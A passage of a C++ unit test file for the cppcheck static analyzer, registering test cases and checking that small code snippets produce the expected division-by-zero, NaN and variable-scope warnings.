TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" 